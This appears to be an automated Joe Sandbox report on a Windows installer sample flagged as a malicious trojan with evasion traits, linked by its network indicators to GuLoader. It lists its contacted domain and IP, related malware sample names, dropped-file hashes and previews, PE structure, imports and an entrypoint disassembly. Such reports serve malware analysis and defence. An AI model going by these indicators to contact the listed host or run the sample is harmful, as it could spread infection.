https://alfacen.com/	3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://alfacen.com/R	3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.107.36.30	alfacen.com	Bulgaria		201200	SUPERHOSTING_ASBG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538168
Start date and time:	2024-10-20 17:55:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3507071243740008011.exe
Detection:	MAL
Classification:	mal80.troj.evad.winEXE@2/8@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 48 Number of non-executed functions: 306
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3507071243740008011.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.107.36.30	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
alfacen.com	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SUPERHOSTING_ASBG	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse	185.45.66.155
	https://ipexcel-my.sharepoint.com/:u:/p/bhaskar/EXkHa_fTPjZKq-NlTqXIh7sBrIzBSy8pqbKPLGCEzX2rbA	Get hash	malicious	Unknown	Browse	185.45.66.155
	Arcadia Aerospace Industries LLC (Code qJG7x-ZymK9p-KYuh).html	Get hash	malicious	Unknown	Browse	193.107.36.200
	is homemade pepper spray legal uk 42639.js	Get hash	malicious	GookitLoader	Browse	185.45.67.220
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	195.191.149.33

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Unlock_Tool_2.3.1.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	aZm1EZ2IYr.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse	193.107.36.30
	SecuriteInfo.com.FileRepMalware.4445.21502.exe	Get hash	malicious	Unknown	Browse	193.107.36.30
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse	193.107.36.30
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	xy894fdlWJ.exe	Get hash	malicious	Vidar	Browse	193.107.36.30

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	RICHIESTA_OFFERTA_RDO2400423.docx.doc	Get hash	malicious	GuLoader	Browse
	Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe	Get hash	malicious	GuLoader	Browse
	Nutzen_Unterschrift_Planen#2024.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Nutzen_Unterschrift_Planen#2024.com.exe	Get hash	malicious	GuLoader	Browse
	Benefit_Signature_Plan#3762.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Benefit_Signature_Plan#3762.com.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659026618805001
Encrypted:	false
SSDEEP:	192:eX24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlqSlS:D8QIl972eXqlWBFSt273YOlqz
MD5:	9625D5B1754BC4FF29281D415D27A0FD
SHA1:	80E85AFC5CCCD4C0A3775EDBB90595A1A59F5CE0
SHA-256:	C2F405D7402F815D0C3FADD9A50F0BBBB1BAB9AA38FE347823478A2587299448
SHA-512:	DCE52B640897C2E8DBFD0A1472D5377FA91FB9CF1AEFF62604D014BCCBE5B56AF1378F173132ABEB0EDD18C225B9F8F5E3D3E72434AED946661E036C779F165B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Potwierdzenie.exe, Detection: malicious, Browse Filename: Potwierdzenie.exe, Detection: malicious, Browse Filename: RICHIESTA_OFFERTA_RDO2400423.docx.doc, Detection: malicious, Browse Filename: Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe, Detection: malicious, Browse Filename: Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe, Detection: malicious, Browse Filename: Nutzen_Unterschrift_Planen#2024.com.exe, Detection: malicious, Browse Filename: Nutzen_Unterschrift_Planen#2024.com.exe, Detection: malicious, Browse Filename: Benefit_Signature_Plan#3762.com.exe, Detection: malicious, Browse Filename: Benefit_Signature_Plan#3762.com.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...Y..Y...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\Itchreed.Cur

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	data
Category:	dropped
Size (bytes):	275040
Entropy (8bit):	7.825277312996347
Encrypted:	false
SSDEEP:	6144:P5XT4JjPPEAaRnOn2Ve4a0GClPcj4/egfL:EzEAaRnd1aAPrz
MD5:	E8245DB6B6E54F7C0D63D57E8EFAF894
SHA1:	1F00810AEF27A4018360E9104B1E58F75E713E28
SHA-256:	70758486A5D02D9F560081520A6484D24AC0100BA38A66980CA6D618CE3DF224
SHA-512:	B79DB2F35357148C58481E0F2EC11802E0EA52BB37B73DE4E062763457671600D17DF228EE5FA0F41EBF52130954DD02D9BDA873DD20BD3777A2B2B3E2344A0F
Malicious:	false
Reputation:	low
Preview:	...cc..............`....LLL.....J....................Q...............444........!..d...}...::......i......888.....................ii...................P.................B....U.......................%%..............4..........>>>.......q.................................mmm...,,,,,.....................................WWWWW...................ppppp..../..............777...........444444.......IIII.I........$.```.tt....^^^.................88......````......................................................S.....K.....i........xxx............-.............C...........LL.................................&&..............................................................@@.........................".5..V...66.k.....IIIII.s.............^^..........................uu.....x.<<<<.............X.........."".F...........rrrrr...h.............&........................=.II..........................OOO........gg..............BBBBB..........C...}....\\\\..........................I...^^^........#.........I.oo...

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\Strobilation.Tru

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	data
Category:	dropped
Size (bytes):	46153
Entropy (8bit):	4.551881715223996
Encrypted:	false
SSDEEP:	768:KzRgvbCj7eXDwAX+Fg2mUrZunWT1xdtoQkaor4p2JEoAAJBIVjDdJ:Kq22EA4VZ8C1xdt7k34pGCAXILJ
MD5:	87AC38D040E1207012CF6AD9A83C6530
SHA1:	59E5A1243DCB479A5F3361E38F62D3DE6BBF4C55
SHA-256:	A5FE6A3AC0371EE8D3D089C3A69A68B25EBBB5F7362C469DF3EACBD2F627CB60
SHA-512:	98794621B3DDA069E1F9567922CCB9CDA7D3BBCBA3254AE179FCE24E7B4615E8AF4BE0A2D25858F1F0B495296D05BB6702819DADA90A963B3F89C5AC50FA0271
Malicious:	false
Reputation:	low
Preview:	...........r.........`..............^^^^...ZZ............SS.............;.Z.......r..;........'''........SSSS........w....................O...........CC......jjjjjj....^....,,,.....................????.~............................................zz..pp........y........`.XXX............X............zz.C.........!!!........LL.d....!!....d....XXX...u.....333......<<<<.oo..AA..FF............=............0.................?............&&.i.8...........F.....8.....o....z..0.3333......s.....>.......%.....................]..6.0000....L..N..............B..........88.......'..................^^^.h.H.?......A.....................................pp..........!............%.../.n.......N............y..z.5.!!..N..........n.............{..........W................V.......::.........CC................00.........................................kkkk.M.OOO.DDD.U..........!!!.................,....................Y.......$.....___..s.............SSSS.HHH.....................................................

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\img-1.jpg

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 999x605, components 3
Category:	dropped
Size (bytes):	167813
Entropy (8bit):	7.749904770387752
Encrypted:	false
SSDEEP:	3072:icF5a5FZl5xa0SYazQR5dRfp3oVadIALnwP5kipQlMXG6g9:5r2x1SYkQR53fpoVABLnwRk0QKXRg9
MD5:	8C0739994C90303B65A05C6909A53B62
SHA1:	E43239AF385F8DED6EA2098D2A71A2AC9519E32B
SHA-256:	7E1835782673A877C8A4FF9A4E9E88A23D8FA54077B6E7E1D70FBDE5F3A9D66B
SHA-512:	65BB94BEE91A5581EC7BEFE758F2AD71235ED07DEDDC5B85F5E5719B62E2ADCEFDFB080C9DC5D5C67BC2DBA846C26B62E8E043DCF33F02F65B9B18FC4942277F
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H....9Rhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 2007 22:37:37 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Make>Canon</tiff:Make>. <tiff:Model>Canon DIGITAL IXUS 800 IS</tiff:Model>. <tiff:Orientation>1</tiff:Orientation>. <tiff:XResolution>72/1</tiff:XResolution>. <tiff:YResolution>72/1</tiff:YResolution>. <tiff:ResolutionUnit>2</tiff:ResolutionUnit>. <tiff:YCbCrPositioning>1</tiff:YCbCrPositioning>. <tiff:Compression>6</tiff:Compression>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:xap="http://ns.adobe.com/xap/1.0/">. <xap:ModifyDate>2008-12-25T21:16:15Z</xap:ModifyDate>. <xap:CreatorTool>Adobe

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\nannie.tek

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	data
Category:	dropped
Size (bytes):	329924
Entropy (8bit):	4.933260234424776
Encrypted:	false
SSDEEP:	6144:sXxDu/qV1rYX0GEETHfS1YHoQccZ6eJ7Myv5CTV:shy/qSu6qJcZFJPBi
MD5:	562A26D4A57C23D2AE8BD4DECE37E771
SHA1:	A9830E759E670EB8D4EFC5320A112E44ECB389BA
SHA-256:	EDF2898EFF5E72AA11993272EB941C1CD992BB6243E4D2F5940BD88EDF9117CD
SHA-512:	50E8291CB30F1916A5FC41EC7A64C9690A5ABD2AA5B56277029AB04EBCA19769DA91C214C4098B7FC5A8E7E048EBACFC9CFD41540F613B65C1BFF92AEAC49496
Malicious:	false
Preview:	......s.......\|Xkt........"..y....8W..........6.......g...k.X......G,..........Q...+...M......2....Vr......3....n...q^D.......J.-........l.........&....~.......E,..(d...e.....S......a........J...#............w..).......y.?....b.........\.............u...............y.6....].j..........y......4.......T...x......O7....E.....)...\|.J.9..)...5c...^..'.......YA............#t...e.....}.....B......"............K..0...{......Z..,........\....X...D.y........j(...........l............0.........j.E6.......................t...................Bm-............N...`..................A..../{...(...hN...............k...X...Y.m...P......^....O?..........C.e........B..b............y..M...P...... y............\|....}.8..H..........y................r.oS!.'..G...l.7......q..tO..g.....,..........~.................?..............V.B.........B......n/..j...............e...........0.mo.b......Ix.....=..Q.!..G............Q\4n..........O.br.7....d.nvH.t.....`...b......A.+...1............j....w......T.

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\nonpendency.age

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	data
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	4.914629993393861
Encrypted:	false
SSDEEP:	768:D/rnROkWNBnJ+9RlvYC45nQikaSOn/i7/nY1kakXzsDwft2EwNWBbTvMIQwBT:zrx8BnJ+lyzknku2kakXYDwcEcWbwoBT
MD5:	511E6E568EBCF13D5098054630C627AA
SHA1:	1B5AFC7023C138219737E23B00121C359BF8443F
SHA-256:	204A44F0D3C3B63E36B3A4865C029552CCD8AC1EAD3507456BEC7886D724BA54
SHA-512:	DC3088BA850BA2258715826CF985D417A6A138A9EF66F43EBC69EB18CEDA9F4B65686C3F70E2BA39E64AEB8B55B82F550EE603094F06B988DC122299183075E8
Malicious:	false
Preview:	.................3v......0...........8......n..m....i............d ...... ..........'..MDY...... ...\|............-.....\|....dt...........G...bC..J............~....?..@........?.k..................z..!........k........................i.......\|f.....X.(.......N..X..v....>..e..................J.....T..........3."...p9...r....2........................<..".......qj...i.`.;........a..........v...k.......%.f......os.....,....(.*.....\|...#...y.7....,...............c.......i.9H............L..sx...{....=.....N'..\...\|.B.....U...&.........B1J<................A....1.....A}\.7.Q........7................K..............C%......8...G....a.................................T.Y.kB.........P............o...&.`....{...{..A.........f....`.........q..............d.............W.......1-...>..R.)s;".e......0..B...].....E........R..............`.......{'...........0...m........._t.........x..............#.p....@_3..j.o............................C......=`...........Nx....Q\......:....A....5...e......~..

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\rimsmeds.txt

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.284126845947256
Encrypted:	false
SSDEEP:	12:7Dvz9cWhFxJiWtT/ksqSYLbLGLW+/tbV90QhtdtmCq/oK6:vpJrilbgW+hHfmCq/ol
MD5:	5D2F45598C5DAD8A461CECDA82CA550E
SHA1:	D594FFDAE11463E5E35170D27C611182F16E038C
SHA-256:	65D3114548018688712A3B735E3B9BA63C2261A5DA9B6505D43378DE5E351B87
SHA-512:	BF9654722B7F313B0E5C9A755C0DA9D37930FA517CA43F36C97F6033C7C764ACACDAC8FDE143A9D89D33D9ED7CC4EE08A96A0DEB14D484E4ACB43E830CA15470
Malicious:	false
Preview:	wellcurbs realkreditlaan rhamnoses aluminiumfoliens needlecase gld.bromelin scoters mormoder klinges albigensianism sociolektens curpel shuttles awreck laboratorieopgave eksercerskoler..nonfederated sprinklingers multiplepoinding indfaldsvinkelen korttegnere opinionsmaalingernes exobiology.amazingly palikars accessibility matriarchical erstatningskravene dorns..reclaimant prepubescent unfairest lusiad uhmmedes proctodaeum sydslesvigers.stormwise septaemia rangsforskel flytteligt hardboard dentex,

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\skreddene.spo

Download File

Process:	C:\Users\user\Desktop\3507071243740008011.exe
File Type:	data
Category:	dropped
Size (bytes):	54488
Entropy (8bit):	4.944297757860882
Encrypted:	false
SSDEEP:	1536:BYkiahV7T7eAwz8ruqJUjhEXVM54+suwGXs:BFiahJTCAi8dQ6M54rWs
MD5:	4ECFFF116FE03C56DAD5B0EAE0279D00
SHA1:	18525703697F059B03F7A1F093317E62BAD43004
SHA-256:	593BF06B816C8CACBA83C6CCECD0C3F0F164C4D9CC7F9B4EA7BF2EA2F0CD7906
SHA-512:	D6EBCD15BEE3AD32BB91D7EFEAB363B917127ACF62A8838E621FFA0F080060E00E06BDACD9F2BDD4BE37DFC1A9449A4CE678BC1821E005BAEC3263272BF8877A
Malicious:	false
Preview:	.... ........a....D..o.X...........&.=...x.....l...w......h.2....D ..............6...V^.~...u.......v...(.......8Q..7.................6....A6.....;..5.T.P......K...I...]...........Bk.....4......4.....'...z....k./.....r......f..8.5....S......T..0......."...x...S........@......(......z.;...H...3'd.d.....{.c..Z...3........\|...........].i...2....8.{....0............8.............6...<.@C..r..$3...N=...+..].s...6.........N........y........I..........W....&.........T....}............bd.g................,.......I#..J/...C-.....e...}!..........J..B.P...............{..................8i....$................1.1......[.............>....`4y....A.kA......U........[...dmE..5.......)...e...).....l....T.l......................................`.[....l.N..=...........$....g.... ....Z.<v...?....>...L.o..........D.......&'.*.........2..............k......... 2E... ....KT..2.,.......`.c...........d.E.......<p......!0...I.U....9.._.....a..o5>...............+.....]...P...D....C@..N.........w.hx..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.74598799640421
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3507071243740008011.exe
File size:	986'863 bytes
MD5:	300ffb3fd65eb4a84a14802828f91e38
SHA1:	937574595a8e68f7a77b95a7f99b530007f9fc5c
SHA256:	24beefbe74ccf89b245d50c7279c83803186566d4be4f89f875e203ec2f4edf9
SHA512:	c79642cc8d878f5028dff42341dc137c59127cc7a395a39891457648460d8c421ea37c5ac7569d58f5be92a1a7f10d5aed83cadbfcb8e4ee14428c852aac8348
SSDEEP:	24576:8HANkRMLHpYc/hipJgn1pRQFPEgAhHjL4kJiMv:8HANkRMLHicJi3o10RHc0aJ
TLSH:	4D252208E7E07467C3E58FF8072652577637AC69E5920B870391BFAA3A65740F60E378
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...~..Y.................f.........

File Icon


Icon Hash:	c4bcaaec6ceeda31

Static PE Info

General

Entrypoint:	0x403373
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x597FCC7E [Tue Aug 1 00:34:06 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [00434EECh], eax
je 00007F2C6CC74513h
push ebx
call 00007F2C6CC777A9h
cmp eax, ebx
je 00007F2C6CC74509h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F2C6CC77723h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F2C6CC744ECh
push 0000000Ah
call 00007F2C6CC7777Ch
push 00000008h
call 00007F2C6CC77775h
push 00000006h
mov dword ptr [00434EE4h], eax
call 00007F2C6CC77769h
cmp eax, ebx
je 00007F2C6CC74511h
push 0000001Eh
call eax
test eax, eax
je 00007F2C6CC74509h
or byte ptr [00434EEFh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [00434FB8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0042B208h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6a000	0x34908	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x65ef	0x6600	a7ac317f30d043d93d4c5978f973de39	False	0.6750919117647058	data	6.514810500836391	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x149a	0x1600	966a3835fd2d9407261ae78460c26dcc	False	0.43803267045454547	data	5.007075185851696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	d113e76cc1b8c0774c4702688d79d792	False	0.5162760416666666	data	4.036693470004838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6a000	0x34908	0x34a00	d09097303c9883a16609d6cfc168ddcd	False	0.5725671763657957	data	6.134346545573802	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x6a400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x6a768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.39200579675854724
RT_ICON	0x7af90	0xc890	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9980328762854472
RT_ICON	0x87820	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.46636535631700654
RT_ICON	0x90cc8	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.49302218114602586
RT_ICON	0x96150	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.4863013698630137
RT_ICON	0x9a378	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.46473029045643155
RT_ICON	0x9c920	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.550187617260788
RT_ICON	0x9d9c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.4095744680851064
RT_DIALOG	0x9de30	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x9df78	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x9e0b8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x9e1b8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x9e2d8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x9e3a0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x9e400	0x76	data	English	United States	0.7542372881355932
RT_VERSION	0x9e478	0x14c	Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.5813253012048193
RT_MANIFEST	0x9e5c8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
